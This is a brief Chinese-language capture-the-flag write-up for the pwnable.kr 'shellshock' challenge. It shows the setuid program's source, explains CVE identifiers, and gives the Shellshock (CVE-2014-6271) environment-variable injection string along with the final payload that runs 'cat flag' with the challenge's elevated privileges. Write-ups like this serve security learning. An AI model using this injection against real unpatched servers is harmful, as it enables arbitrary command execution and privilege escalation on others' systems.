shellshocke - pwnable
题目
连接服务器:ssh shellshock@pwnable.kr -p2222 (pw:guest)
shellshock源码:
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
直接运行shellshock:没有获得有价值信息
题目分析
题目考察的是破壳漏洞(shellshock)CVE-2014-6271,我们可以查阅CVE-2014-6271的资料,获得漏洞利用方法。
CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
漏洞利用方法是:
env x=() { :;}; echo vulnerable
其中的echo vulnerable 替换为你想要执行的代码。
我们需要的是读取flag,但是不能直接替换为cat flag
。因为我们登录账户并没有权限读flag文件。而我们知道运行了shellshock之后,我们权限就会上升为shellshock_pwn有权限读flag文件了。
那么填入的字符串应该是:
env x='() { :;}; bash -c "cat flag" ' ./shellshock